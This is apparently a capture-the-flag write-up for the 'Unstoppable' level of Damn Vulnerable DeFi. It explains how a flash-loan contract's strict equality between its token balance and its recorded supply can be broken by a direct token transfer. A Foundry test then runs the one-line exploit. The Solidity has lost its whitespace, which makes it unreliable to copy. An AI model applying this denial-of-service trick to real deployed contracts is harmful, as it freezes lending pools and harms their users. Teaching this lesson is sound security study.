The assembly block tests if the storage slot 0 equals 2, and then moves something like a function selector into memory offset 0 and reverts. This looks like a defense menchanism so we can ignore it. In the end this function returns balanceOf(address(this)).
In flashLoan() we are actually testing if totalSupply is the same as balanceOf(address(this)), but recall that there are two ways of transferring ethers into this contract:
Through the vault.deposit() function -> this is the intended way
Call token.transfer() directly -> this is unintended and will break the if statement.
Dangerous strict equalities: Use of strict equalities with tokens/Ether can accidentally/maliciously cause unexpected behavior. Consider using >= or <= instead of == for such variables depending on the contract logic. (see here)
// SPDX-License-Identifier: MITpragmasolidity >=0.8.0;import {Utilities} from"../../utils/Utilities.sol";import"forge-std/Test.sol";import {DamnValuableToken} from"../../../src/Contracts/DamnValuableToken.sol";import {UnstoppableLender} from"../../../src/Contracts/unstoppable/UnstoppableLender.sol";import {ReceiverUnstoppable} from"../../../src/Contracts/unstoppable/ReceiverUnstoppable.sol";contractUnstoppableisTest {uint256internalconstant TOKENS_IN_POOL =1_000_000e18;uint256internalconstant INITIAL_ATTACKER_TOKEN_BALANCE =100e18; Utilities internal utils; UnstoppableLender internal unstoppableLender; ReceiverUnstoppable internal receiverUnstoppable; DamnValuableToken internal dvt;addresspayableinternal attacker;addresspayableinternal someUser;functionsetUp() public {/** * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ utils =newUtilities();addresspayable[] memory users = utils.createUsers(2); attacker = users[0]; someUser = users[1]; vm.label(someUser,"User"); vm.label(attacker,"Attacker"); dvt =newDamnValuableToken(); vm.label(address(dvt),"DVT"); unstoppableLender =newUnstoppableLender(address(dvt)); vm.label(address(unstoppableLender),"Unstoppable Lender"); dvt.approve(address(unstoppableLender), TOKENS_IN_POOL); unstoppableLender.depositTokens(TOKENS_IN_POOL); dvt.transfer(attacker, INITIAL_ATTACKER_TOKEN_BALANCE);assertEq(dvt.balanceOf(address(unstoppableLender)), TOKENS_IN_POOL);assertEq(dvt.balanceOf(attacker), INITIAL_ATTACKER_TOKEN_BALANCE);// Show it's possible for someUser to take out a flash loan vm.startPrank(someUser); receiverUnstoppable =newReceiverUnstoppable(address(unstoppableLender) ); vm.label(address(receiverUnstoppable),"Receiver Unstoppable"); receiverUnstoppable.executeFlashLoan(10); vm.stopPrank(); console.log(unicode"🧨 Let's see if you can break it... 🧨"); }functiontestExploit() public {/** * EXPLOIT START * */ vm.prank(attacker); dvt.transfer(address(unstoppableLender),1);/** * EXPLOIT END * */ vm.expectRevert(UnstoppableLender.AssertionViolated.selector);validation(); console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉"); }functionvalidation() internal {// It is no longer possible to execute flash loans vm.startPrank(someUser); receiverUnstoppable.executeFlashLoan(10); vm.stopPrank(); }}